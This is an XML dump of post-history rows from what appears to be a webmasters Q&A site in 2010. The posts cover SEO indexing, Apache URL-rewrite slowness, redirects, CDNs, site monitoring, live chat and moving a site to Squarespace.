  <row Id="8369" PostHistoryTypeId="3" PostId="4234" RevisionGUID="5e40092a-d61a-43d4-a16e-43a681639d1f" CreationDate="2010-10-22T10:53:48.333" UserId="1585" Text="&lt;asp.net&gt;" />
  <row Id="8370" PostHistoryTypeId="17" PostId="4234" RevisionGUID="2f755367-e37c-4b63-91cb-205eb26a92b9" CreationDate="2010-10-22T11:44:28.953" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/8483/should-i-redirect-to-rename-uri" Text="" />
  <row Id="8371" PostHistoryTypeId="2" PostId="4236" RevisionGUID="3fa7abd3-216a-4d62-bcf3-10d12a024b7b" CreationDate="2010-10-22T12:24:43.400" UserId="1953" Text="With this type of thing there are a lot of potential answers. &#xD;&#xA;&#xD;&#xA;I'd start by asking how many pages you actually have. (you submitted 50,000 URLs a quick site:superuser.com show 125,000 indexed do you think you only have 50K URLs and are submitting all of them yet Google is finding 2-3 copies of each page? or maybe you have 1Mil URLs and only 12.5% are getting indexed) getting the big picture helps to direct where to look for issues. &#xD;&#xA;&#xD;&#xA;If nothing seems wrong with step one, I'd move onto content, it looks like QH has a whole lot more content on their page and link out many other &quot;resources&quot; despite the fact that all their content is scraped it's possible Google considers their page more useful since they provide more resources/information to the user. If they are considered the authority and all your content is the same as theirs it's possible Google won't index yours even though you are the original.&#xD;&#xA;&#xD;&#xA;If you're convinced that is not the issue build some high quality links to it, blog this question on some popular employee blogs or ask some friends to blog about it, perhaps if you have SEO friends that run popular blogs they'd write a case study about it etc. &#xD;&#xA;&#xD;&#xA;If you get a lot of strong links and it's still not getting indexed look for reasons it might be penalized (in most cases this won't be the issue but it never hurts to check).&#xD;&#xA;&#xD;&#xA;If none of this works then 9 times out of 10 it's a simple technical issue that's been overlooked (robots exclusion or something similar).&#xD;&#xA;&#xD;&#xA;If you're still have no answer after going through this ask Google and hope they get you an answer." />
  <row Id="8372" PostHistoryTypeId="2" PostId="4237" RevisionGUID="5eef18c6-6faa-4ead-a322-42ae046c578b" CreationDate="2010-10-22T12:46:56.457" UserId="2650" Text="&#xD;&#xA;(Same issue as http://stackoverflow.com/questions/3987754/how-to-diagnose-htaccess-speed-issues-via-rewritelog but more clearly explained below)&#xD;&#xA;&#xD;&#xA;We have a site which has scripts like this:&#xD;&#xA;&#xD;&#xA;    http://www.oursite.com/abcd/somescript.php&#xD;&#xA;&#xD;&#xA;We also have URL rewritten pages like this:&#xD;&#xA;&#xD;&#xA;    http://www.oursite.com/abcd/events/Anything/Anything/abc/abc.html&#xD;&#xA;&#xD;&#xA;All of these share 90% same content in terms of js, css, and image files.&#xD;&#xA;&#xD;&#xA;But the URL rewritten pages are extra-ordinary slow to load. Similarly, clicking on ANY link within such a page which leads to another such page is also very slow!&#xD;&#xA;&#xD;&#xA;It strongly looks like that the browser is reloading the page completely and not using the cached images which should be present on the browser.&#xD;&#xA;&#xD;&#xA;I turned on RewriteLog (at level 2) in Apache's httpd.conf and it shows the below when I:&#xD;&#xA;&#xD;&#xA;1. Accessed the homepage at: www.example.com/abcd/&#xD;&#xA;2. Clicked on the link to browse categories&#xD;&#xA;3. Clicked on the category - Language&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;      URL/sid#ID = www.example.com/sid#2b06c5712d30 &#xD;&#xA;&#xD;&#xA;        Step 1&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir ar/www/html/abcd/] pass through /var/www/html/abcd/index.php&#xD;&#xA;		Step 2&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events.html' -&gt; 'browse.php?type=classes-events'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/browse.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56d8528/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/browse.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/browse.php&#xD;&#xA;		Step 3&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/206.html' -&gt; 'browse.php?type=classes-events&amp;catId=206'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56caf10/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/browse.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56d8948/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/browse.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/ajax/showUserData.php' -&gt; 'ajax/showUserData.php'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/ajax/showUserData.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56d59d8/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/ajax/showUserData.php' -&gt; 'ajax/showUserData.php'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56ccf20/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/ajax/showUserData.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56da9f8/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/ajax/showUserData.php' -&gt; 'ajax/showUserData.php'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/ajax/showUserData.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56f4268/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/showUserData.php&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (2) [perdir /var/www/html/abcd/] rewrite 'classes-events/Language/ajax/browse.php' -&gt; 'ajax/browse.php'&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (2) [perdir /var/www/html/abcd/] trying to replace prefix /var/www/html/abcd/ with /abcd/&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d56cef30/initial] (1) [perdir /var/www/html/abcd/] internal redirect with /abcd/ajax/browse.php [INTERNAL REDIRECT]&#xD;&#xA;		IPADDRESS - - [DATETIME] [URL/sid#ID][rid#2b06d57127d8/initial/redir#1] (1) [perdir /var/www/html/abcd/] pass through /var/www/html/abcd/ajax/browse.php&#xD;&#xA;" />
  <row Id="8373" PostHistoryTypeId="1" PostId="4237" RevisionGUID="5eef18c6-6faa-4ead-a322-42ae046c578b" CreationDate="2010-10-22T12:46:56.457" UserId="2650" Text="URL rewritten pages take much longer to load" />
  <row Id="8374" PostHistoryTypeId="3" PostId="4237" RevisionGUID="5eef18c6-6faa-4ead-a322-42ae046c578b" CreationDate="2010-10-22T12:46:56.457" UserId="2650" Text="&lt;url-rewriting&gt;&lt;htaccess&gt;&lt;speed&gt;" />
  <row Id="8375" PostHistoryTypeId="5" PostId="4215" RevisionGUID="51f308ae-c621-430b-b877-f42a0bed56be" CreationDate="2010-10-22T12:55:32.400" UserId="2288" Comment="deleted 1781 characters in body" Text="**PROBLEM:** Trouble shooting LDAP connection binding and request resolution&#xD;&#xA;&#xD;&#xA;**ERROR:** &quot;LDAP Bind failure for user . Error -1: Can't contact LDAP server&quot;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**SOLVED** &quot;Authentication with the LDAP server succeeded.&quot;" />
  <row Id="8376" PostHistoryTypeId="2" PostId="4238" RevisionGUID="e1204017-f78f-47f1-9e05-4d684efe5b8b" CreationDate="2010-10-22T13:03:44.163" UserId="2552" Text="The two major CDNs I know of are [Limelight][1] and [Akamai][2]. They offer different options and a huge price difference. Also they tend to have a breaking point where if you're not using enough traffic it's a waste of money to use their service. It's better to go with a cloud format like the amazon web services or rackspace cloud hosting. &#xD;&#xA;&#xD;&#xA;I've used Akamai many times, and they are by far my first pick, but they tend to be for bigger clients as most major companies use them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.limelightnetworks.com&#xD;&#xA;  [2]: http://www.akamai.com" />
  <row Id="8377" PostHistoryTypeId="2" PostId="4239" RevisionGUID="b8e9b81e-be6b-456e-9730-dbbb2c54578f" CreationDate="2010-10-22T13:10:00.327" UserId="1253" Text="If you redirect use a 301 as you want the redirect to be permanent.&#xD;&#xA;&#xD;&#xA;As far as should you redirect? I don't think it's necessary. Just [use canonical URLs][1] so the search engines know which URL is the primary URL. I recommend having it be the one with the keywords in it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="8378" PostHistoryTypeId="6" PostId="4234" RevisionGUID="c7c550d2-c288-41a7-942c-bbec00495a23" CreationDate="2010-10-22T13:11:17.423" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="8379" PostHistoryTypeId="2" PostId="4240" RevisionGUID="f0b1a6ab-7b43-4738-a59f-344eaf167506" CreationDate="2010-10-22T13:13:31.907" UserId="1253" Text="If you are running Apache you can use [Apache Benchmark][1] to do some performance testing. It's specialty is determining how many pages your web server can serve per second.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/programs/ab.html" />
  <row Id="8380" PostHistoryTypeId="2" PostId="4241" RevisionGUID="e0fa3232-a1c9-4e3f-a328-e15b0100143c" CreationDate="2010-10-22T13:50:02.587" UserId="1757" Text="You could always do it manually. Just save the current time in your boostrap and then log the difference at the end of page output. From there, you'll be able to plot live graphs to visualize the performance of pages you're interested in.&#xD;&#xA;&#xD;&#xA;Or if you want an online service, here's a free one I just found called [mon.itor.us][1]. Offsite solutions like this will take network conditions into account as well.&#xD;&#xA;&#xD;&#xA;If you want a comparison with popular websites, [this page][2] lists the rendering times of a bunch of major sites. However, I find their figures a little suspect, since they display a lower time to load a full page on some sites than just to load the HTML.&#xD;&#xA;&#xD;&#xA;Along with that site, [Pingdom][3] also offers a paid uptime/response time monitoring service. Additionally, Pingdom has a free plan that only lets you monitor one site (I think they mean *page*) and have up to 20 sms alerts per month.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mon.itor.us/&#xD;&#xA;  [2]: http://www.webmetrics.com/resources/benchmarking.html&#xD;&#xA;  [3]: https://www.pingdom.com" />
  <row Id="8382" PostHistoryTypeId="2" PostId="4242" RevisionGUID="e08deb34-7bc8-4301-bcfb-fb0c98f6ed6f" CreationDate="2010-10-22T14:46:40.790" UserId="1894" Text="Is there currently a way to for a web application to receive data from mobile device's sensors (eg. gyroscope, accelerometer, compass) through it's browser?&#xD;&#xA;&#xD;&#xA;If not, do any formal proposals exist for how this might be achieved in the future?" />
  <row Id="8383" PostHistoryTypeId="1" PostId="4242" RevisionGUID="e08deb34-7bc8-4301-bcfb-fb0c98f6ed6f" CreationDate="2010-10-22T14:46:40.790" UserId="1894" Text="How to receive sensor input, eg. gyroscope? (existing technology or future proposals)" />
  <row Id="8384" PostHistoryTypeId="3" PostId="4242" RevisionGUID="e08deb34-7bc8-4301-bcfb-fb0c98f6ed6f" CreationDate="2010-10-22T14:46:40.790" UserId="1894" Text="&lt;mobile&gt;" />
  <row Id="8385" PostHistoryTypeId="2" PostId="4243" RevisionGUID="5cbffd2c-498f-403c-8f14-2c4324e3eb21" CreationDate="2010-10-22T14:49:51.620" UserId="42" Text="Does having a live chat feature on a website increase conversions enough to cover the cost administration? &#xD;&#xA;&#xD;&#xA;Most of the data I have found comes from companies selling live chat solutions and is unreliable in my opinion.&#xD;&#xA;&#xD;&#xA;Do users find this as a valuable feature or an annoyance?&#xD;&#xA;&#xD;&#xA;Personally, I'm annoyed by sites that use live chat especially when a little box pops up without my explicit request, but if users find this valuable then I should consider implementing it. Any concrete data is appreciated." />
  <row Id="8386" PostHistoryTypeId="1" PostId="4243" RevisionGUID="5cbffd2c-498f-403c-8f14-2c4324e3eb21" CreationDate="2010-10-22T14:49:51.620" UserId="42" Text="Is Live Chat a valuable feature?" />
  <row Id="8387" PostHistoryTypeId="3" PostId="4243" RevisionGUID="5cbffd2c-498f-403c-8f14-2c4324e3eb21" CreationDate="2010-10-22T14:49:51.620" UserId="42" Text="&lt;website-features&gt;&lt;chat&gt;&lt;conversions&gt;" />
  <row Id="8388" PostHistoryTypeId="2" PostId="4244" RevisionGUID="cce65923-e5d3-49a5-b2a7-986cf7872efa" CreationDate="2010-10-22T15:05:53.970" UserId="2313" Text="AlertFox offers a free tool for global [load time testing][1].&#xD;&#xA;&#xD;&#xA;&gt;monitor response time of a productive website over time. . Similar to pingdom - but (in my book) pingdome is too expensive if one wants to monitor more than 5 URLs. &#xD;&#xA;&#xD;&#xA;The AlertFox **free plan** offers up to 3 URLS plus one transaction sensor (= run tests in a real Firefox browser!): www.alertfox.com/free-website-monitoring/ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alertfox.com/Tools/LoadTime/&#xD;&#xA;" />
  <row Id="8389" PostHistoryTypeId="2" PostId="4245" RevisionGUID="e90eec13-cca4-4282-b7af-2fc5796c2804" CreationDate="2010-10-22T15:26:23.827" UserId="1757" Text="HTML5 has a [GeoLocation API][1] that can be accessed via JavaScript, as explained in [this article][2].&#xD;&#xA;&#xD;&#xA;[DNS LOC][3] (defined in RFC 1876) is another way to determine a user's location through a reverse DNS lookup. However, I don't think this is widely implemented.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.w3.org/geo/api/spec-source.html&#xD;&#xA;  [2]: http://maxheapsize.com/2009/04/11/getting-the-browsers-geolocation-with-html-5/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/LOC_record" />
  <row Id="8390" PostHistoryTypeId="2" PostId="4246" RevisionGUID="606a2e13-63e1-489c-9201-ee11de7be552" CreationDate="2010-10-22T15:28:52.597" UserId="2570" Text="It looks like the reason this was failing was that I was using a filter.  I removed the filter from my GA account and after a while it started working." />
  <row Id="8391" PostHistoryTypeId="2" PostId="4247" RevisionGUID="3527de56-18b8-429c-9669-c0e560287beb" CreationDate="2010-10-22T15:35:14.087" UserDisplayName="Steve S" Text="I'm thinking of moving my site to Squarespace, I have around 40 pages with videos, screenshots and web forms etc, my blog is wordpress and I want to move everything on to Squarespace. My worry is that I'll suffer some SEO loss, has anyone used Squarespace or moved any clients over and was there any drop in traffic/SEO issues?&#xD;&#xA;&#xD;&#xA;I have very little time on my hands for web design and would like to keep adding content to my site so it does seem ideal. I make my living from my site so I really don't want to make a mess of it.&#xD;&#xA;&#xD;&#xA;Any advice from those that are using Squarespace would be very welcome.&#xD;&#xA;&#xD;&#xA;Thanks Steve" />
  <row Id="8392" PostHistoryTypeId="1" PostId="4247" RevisionGUID="3527de56-18b8-429c-9669-c0e560287beb" CreationDate="2010-10-22T15:35:14.087" UserDisplayName="Steve S" Text="I'm thinking of moving my site to Squarespace as I have little time to manage my site.." />
  <row Id="8393" PostHistoryTypeId="3" PostId="4247" RevisionGUID="3527de56-18b8-429c-9669-c0e560287beb" CreationDate="2010-10-22T15:35:14.087" UserDisplayName="Steve S" Text="&lt;web-hosting&gt;" />
  <row Id="8394" PostHistoryTypeId="2" PostId="4248" RevisionGUID="521fd636-253b-4ce8-ba2a-60b83d521825" CreationDate="2010-10-22T15:39:10.710" UserId="1703" Text="Well this really depends on what the chat is for. I quite like live chat for example when:&#xD;&#xA;&#xD;&#xA; - It's discreet, in that there are no popups without your consent e.g. by clicking a link. &#xD;&#xA; - I only chat when I have a problem or a question I want to ask immediately. Sometimes I don't want to wait for an email reply the following day (or the next).&#xD;&#xA;&#xD;&#xA;So if you are running an ecommerce store for example and people want to ask questions about a certain product then they have this opportunity right then and there. This could lead a conversion where there otherwise would not have been one. Perhaps the potential buyer would send an email instead only to be replied to the next day. In the mean time they have found what they wanted elsewhere. Have a read on this [blog][1] about a Live Chat survey completed in 2009. They summarised the results quite well - &quot;If you’re not using live chat these two things are true:&#xD;&#xA;&#xD;&#xA; 1. Extremely valuable prospects are slipping through your fingers, and&#xD;&#xA; 2. Your competitors who use live chat are building strong and lasting relationships with their customers that you won’t be able to overcome.&quot;&#xD;&#xA;&#xD;&#xA;A chat also comes in handy as most people work during the day, buying, booking things online. A discreet chat window to get information / or technical support is better than your colleagues hearing you have a chat on the phone about it.&#xD;&#xA;&#xD;&#xA;If the chat is for technical support this is really helpful, and this is the kind of chat I most often use. As is normally the case, you run into a technical issue - you are already on your computer and only a few clicks away from contacting someone that can help you. I use this feature a lot with my hosting company albeit they sometimes cannot answer my questions and I have to open a ticket.&#xD;&#xA;&#xD;&#xA;Personally I find live chat invaluable as long as it is discreet and doesn't bomb my screen with popups. This is why: &#xD;&#xA;&#xD;&#xA;*I am on the Internet trying to find something or do something, if I can't find it, do it or have questions about it then I want to ask those question right now and get an answer. I don't want to wait for the answer.*&#xD;&#xA;  [1]: http://blog.boldsoft.com/?p=142" />
  <row Id="8395" PostHistoryTypeId="5" PostId="4196" RevisionGUID="b2221f68-4a88-4965-b332-452068fc976a" CreationDate="2010-10-22T15:39:24.217" UserId="2621" Comment="posted more relevant ınfo" Text="&gt;Page title&#xD;&#xA;&#xD;&#xA;&gt;![Page title][1]&#xD;&#xA;&#xD;&#xA;&gt;The first line of any search result is the title of the web page. This text is generally taken from the contents of the &lt;title&gt; tag for that page (which is also the text that appears in the title bar of your browser. Occasionally (generally when the title tag is not meaningful or the page is not crawlable) Google will pull the title from the anchor text of a link to that page, or from the Open Directory Project (www.dmoz.org).&#xD;&#xA;&#xD;&#xA;Read the rest here http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=159206&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/CSSzG.jpg" />
  <row Id="8396" PostHistoryTypeId="5" PostId="4248" RevisionGUID="3110d48e-1d64-4e3c-8a5d-5e1ca681b41d" CreationDate="2010-10-22T15:44:21.367" UserId="1703" Comment="added 174 characters in body" Text="Well this really depends on what the chat is for. I quite like live chat for example when:&#xD;&#xA;&#xD;&#xA; - It's discreet, in that there are no popups without your consent e.g. by clicking a link. &#xD;&#xA; - I only chat when I have a problem or a question I want to ask immediately. Sometimes I don't want to wait for an email reply the following day (or the next).&#xD;&#xA;&#xD;&#xA;If the chat obeys the above then quite simply it is better to have chat than not to. This essentially comes down to how much will it cost you and will you see the return.&#xD;&#xA;&#xD;&#xA;So if you are running an ecommerce store for example and people want to ask questions about a certain product then they have this opportunity right then and there. This could lead a conversion where there otherwise would not have been one. Perhaps the potential buyer would send an email instead only to be replied to the next day. In the mean time they have found what they wanted elsewhere. Have a read on this [blog][1] about a Live Chat survey completed in 2009. They summarised the results quite well - &quot;If you’re not using live chat these two things are true:&#xD;&#xA;&#xD;&#xA; 1. Extremely valuable prospects are slipping through your fingers, and&#xD;&#xA; 2. Your competitors who use live chat are building strong and lasting relationships with their customers that you won’t be able to overcome.&quot;&#xD;&#xA;&#xD;&#xA;A chat also comes in handy as most people work during the day, buying, booking things online. A discreet chat window to get information / or technical support is better than your colleagues hearing you have a chat on the phone about it.&#xD;&#xA;&#xD;&#xA;If the chat is for technical support this is really helpful, and this is the kind of chat I most often use. As is normally the case, you run into a technical issue - you are already on your computer and only a few clicks away from contacting someone that can help you. I use this feature a lot with my hosting company albeit they sometimes cannot answer my questions and I have to open a ticket.&#xD;&#xA;&#xD;&#xA;Personally I find live chat invaluable as long as it is discreet and doesn't bomb my screen with popups. This is why: &#xD;&#xA;&#xD;&#xA;*I am on the Internet trying to find something or do something, if I can't find it, do it or have questions about it then I want to ask those question right now and get an answer. I don't want to wait for the answer.*&#xD;&#xA;  [1]: http://blog.boldsoft.com/?p=142" />
  <row Id="8397" PostHistoryTypeId="2" PostId="4249" RevisionGUID="56ff7129-5d2f-4137-9ddc-80a7fc4d9101" CreationDate="2010-10-22T15:46:48.973" UserId="1253" Text="It looks like Squarespace lets you use your own domain name so if your URLs will remain unchanged you will be fine. But if that is not the case, and some or all of your URLs will be changing, you will need to be able to do 301 redirects to redirect the old URLs to the new URLs. If they allow you to do this the SEO impact will be temporary and minimal (although you should contact any sites linking to you and ask them top update their links).&#xD;&#xA;&#xD;&#xA;If you cannot do 301 redirect then you will have SEO issues as any links to pages that no longer exist will essentially become useless. You will also have to wait for the search engines to re-index your site, find the new pages, and then add them to their indices. This will almost certainly result is less traffic (assuming you are getting traffic from the search engines). It's almost like starting from scratch, SEO wise.&#xD;&#xA;&#xD;&#xA;If your site currently gets good search engine rankings and good traffic as a result of it, this move may be more harmful then beneficial if your site structure is going to change a lot. If your site gets little to no traffic from search and/or has poor rankings this move can help as you will be able to better focus on your content which is what you need to get good rankings." />
  <row Id="8398" PostHistoryTypeId="6" PostId="4247" RevisionGUID="cb8d33fc-2a45-4df5-aceb-09d77add3a2a" CreationDate="2010-10-22T15:48:13.230" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;web-hosting&gt;&lt;traffic&gt;" />
  <row Id="8399" PostHistoryTypeId="2" PostId="4250" RevisionGUID="fee69c32-ad3d-4a02-9dbc-9c131348a362" CreationDate="2010-10-22T15:59:56.297" UserId="1757" Text="This is obviously going to depend on the site/service/salesperson. But most sites I've come across don't pop-up a live-chat invitation. So if you find it annoying, you could always not go that route. Or some businesses prefer to use live analytics to identify when a user who's shown interest in a product is looking for some help&amp;mdash;then, and only then, do they pop-up a live chat invitation.&#xD;&#xA;&#xD;&#xA;Anyway, I haven't used Live Chat on any of my sites yet, but I've been evaluating different options. You may find [my question][1] helpful.&#xD;&#xA;&#xD;&#xA;I think adding a new channel for communication between you and the customer can only be a good thing. Sometimes email isn't fast enough but the visitor isn't interested enough to pick up the phone. A live chat sales rep is right there on the site, removing any barrier to contact. Think about it: how often have you had a question for a service provider or manufacturer while browsing their site, but were too lazy to write an email or pick up the phone. It's so much effort to look up the appropriate e-mail contact, open up your email client (or log into Gmail), and then type up an e-mail that probably won't be answered for at least an hour. Looking up a phone number, dialing, clawing through voice menus, and being put on hold while waiting for a phone rep to become available is an equally unpalatable proposition. A live chat representative, OTOH, is just *one click away*. Don't ever underestimate the power of human laziness...&#xD;&#xA;&#xD;&#xA;It's also cheaper to have live chat customer service reps than phone reps&amp;mdash;especially if you can get a live chat setup that supports 2-3 operators, each of whom can manage 2-3 conversations at a time, for less than the cost of setting up 4-9 phone lines. So if you're running a business that is mostly conducted over the internet, then this might be a preferable support option (you could type links or even display images or multimedia in the chat), or at least another alternative for real-time communication.&#xD;&#xA;&#xD;&#xA;You could even have a system that's interfaced with SMS (could probably be done through twitter) so that your chat reps would be able to answer chat requests even while they're out.&#xD;&#xA;&#xD;&#xA;And if you have a live chat solution that also comes with video conferencing/1-to-1 capabilities, then it adds another level of intimacy and interaction that could greatly improve your conversation rates over plain old e-mail or phone.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3256/live-chat-solutions" />
  <row Id="8400" PostHistoryTypeId="2" PostId="4251" RevisionGUID="65d5c5d1-8eb6-42e8-8941-3c39e7ef83fe" CreationDate="2010-10-22T16:32:38.557" UserId="233" Text="You can partially detect a phone's orientation using [CSS3 Media Queries][1] and detecting the current width/height. This is only 2 values, with no sliding scale.&#xD;&#xA;&#xD;&#xA;Unfortunately, there aren't any input methods on the web apart from mouse and keyboard at the moment. However, with the modular format of HTML5 it's certainly possible a spec for other input types like orientation might exist in a few years.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/css3-mediaqueries/" />
  <row Id="8401" PostHistoryTypeId="5" PostId="4245" RevisionGUID="7769de9b-0bd2-441a-9a07-5fc2da71d9cf" CreationDate="2010-10-22T16:37:58.680" UserId="1757" Comment="deleted 154 characters in body" Text="HTML5 has a [GeoLocation API][1] that can be accessed via JavaScript, as explained in [this article][2].&#xD;&#xA;&#xD;&#xA;**Edit:** misread question; DNS LOC doesn't apply here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.w3.org/geo/api/spec-source.html&#xD;&#xA;  [2]: http://maxheapsize.com/2009/04/11/getting-the-browsers-geolocation-with-html-5/" />
  <row Id="8402" PostHistoryTypeId="5" PostId="4203" RevisionGUID="6cd14da2-75d2-446b-952d-715d360ae7ca" CreationDate="2010-10-22T16:40:59.863" UserId="233" Comment="fixed title; edited title" Text="Can I host my entire site at AWS or do I need to have shared hosting/server in order to use AWS, my site runs on php and mysql." />
  <row Id="8403" PostHistoryTypeId="4" PostId="4203" RevisionGUID="6cd14da2-75d2-446b-952d-715d360ae7ca" CreationDate="2010-10-22T16:40:59.863" UserId="233" Comment="fixed title; edited title" Text="Can you store your site entirely with Amazon Web Services?" />
  <row Id="8404" PostHistoryTypeId="2" PostId="4252" RevisionGUID="636b8784-8856-44ab-8953-6a4910c30f46" CreationDate="2010-10-22T16:55:53.397" UserId="2288" Text="Can't figure out is this is Drupal, or some other bug tracking system:&#xD;&#xA;&#xD;&#xA;[http://drupal.org/project/issues/search/redesign?issue_tags=drupal.org+redesign+qa][1]&#xD;&#xA;&#xD;&#xA;Any ideas how to figure it out?&#xD;&#xA;&#xD;&#xA;Also, in general how do you tell if a site, or part of a site is using Drupal?&#xD;&#xA;&#xD;&#xA;Thanks!!&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/issues/search/redesign?issue_tags=drupal.org+redesign+qa" />
  <row Id="8405" PostHistoryTypeId="1" PostId="4252" RevisionGUID="636b8784-8856-44ab-8953-6a4910c30f46" CreationDate="2010-10-22T16:55:53.397" UserId="2288" Text="What bug tracking system is this, or is it Drupal?" />
  <row Id="8406" PostHistoryTypeId="3" PostId="4252" RevisionGUID="636b8784-8856-44ab-8953-6a4910c30f46" CreationDate="2010-10-22T16:55:53.397" UserId="2288" Text="&lt;drupal&gt;" />
  <row Id="8407" PostHistoryTypeId="2" PostId="4253" RevisionGUID="3b184b17-5668-4f83-878e-4bc2c87728dd" CreationDate="2010-10-22T16:57:02.913" UserId="42" Text="Neither LAMP stack nor free, but I thought I'd throw this out there for posterity. &lt;a href=&quot;http://www.whoson.com/&quot;&gt;WhosOn&lt;/a&gt; is a decent piece of monitoring software that also has chat functionality. &#xD;&#xA;&#xD;&#xA;They have both a hosted solution or a one-time fee version.  I currently use an older version strictly for monitoring, but if I implement live chat then this is what I'll use." />
  <row Id="8408" PostHistoryTypeId="2" PostId="4254" RevisionGUID="c270ad67-7597-458b-909f-b540f792abd7" CreationDate="2010-10-22T17:08:46.837" UserId="2017" Text="Does Google, Bing, or any of the other major search engines make a list or index of related search terms available?" />
  <row Id="8409" PostHistoryTypeId="1" PostId="4254" RevisionGUID="c270ad67-7597-458b-909f-b540f792abd7" CreationDate="2010-10-22T17:08:46.837" UserId="2017" Text="Where can I find a list of related search terms?" />
